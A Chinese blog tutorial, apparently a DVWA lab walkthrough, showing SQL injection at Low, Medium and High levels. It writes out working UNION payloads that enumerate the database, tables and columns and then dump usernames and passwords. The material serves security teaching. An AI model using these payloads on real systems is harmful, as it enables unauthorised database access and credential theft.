• SQL Injection


    Low级别

    判断是否存在注入点

    输入1提交

    输入1 and 1=1提交

    SELECT first_name, last_name FROM users WHERE user_id = '1'

    输入1 and 1=2提交

    由上可以看出是存在注入点的,参数为id

    SELECT first_name, last_name FROM users WHERE user_id = 'id'

    利用漏洞获取信息

    获取当前库名

    1后面的‘是为了使前面的参数闭合最后的#是为了注释‘

    1' union select 1,database()#

     实际执行sql

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,database()#'

    根据库名获取所有表名

    1后面的‘是为了使前面的参数闭合最后的#是为了注释‘

    1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'#

    底层执行sql

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'#'

    根据表名获取表的列

    1后面的‘是为了使前面的参数闭合最后的#是为了注释‘

    1' union select 1,column_name from information_schema.columns where table_name='users'#

     

    底层执行sql

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,column_name from information_schema.columns where table_name='users'#'

    获取数据

    1' union select1,concat(user,password) from users#

    底层sql

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,concat(user,password) from users#'

    Medium级别

    此时限制用户输入,只允许手动选择,并且代码中加入检测单引号机制,如果有单引号会默认在前面加上一个反斜杠/

    可以用hackbar试一下或者用burpsuite抓包试一下,并且不再用'

    查询当前库

    1 union select 1,(select database())

    底层sql

    SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,(select database())

    查询所有表

    1 union select 1,table_name from information_schema.tables where table_schema=(select database())

    burp拦截到请求send to Repeater。

    底层数据sql

    SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,table_name from information_schema.tables where table_schema=(select database())

    High级别

    高级和初级是一样的,只不过加了limit 1和弹框 

    工具的使用

    使用工具Sqlmap

    绕过机制:https://www.cnblogs.com/Vinson404/p/7253255.html

  • 相关阅读:
    定义全局时间过滤器
    vue局部过滤器和全局过滤器
    vue-ref指令
    vue进行代码排序
    vue-通过name进行数据过滤
    将vue文档下载到本地预览
    由于vue的for循环id并不严谨,提高id严谨性
    vue指令v-for报错:Elements in iteration expect to have 'v-bind:key' directives.eslint-plugin-vue
    FlowPortal BPM历史版本升级说明
    102从 Outlook 中将电子邮件、联系人和日历导出到 .pst 文件
  • 原文地址:https://www.cnblogs.com/aeolian/p/11058938.html
Copyright © 2020-2023  润新知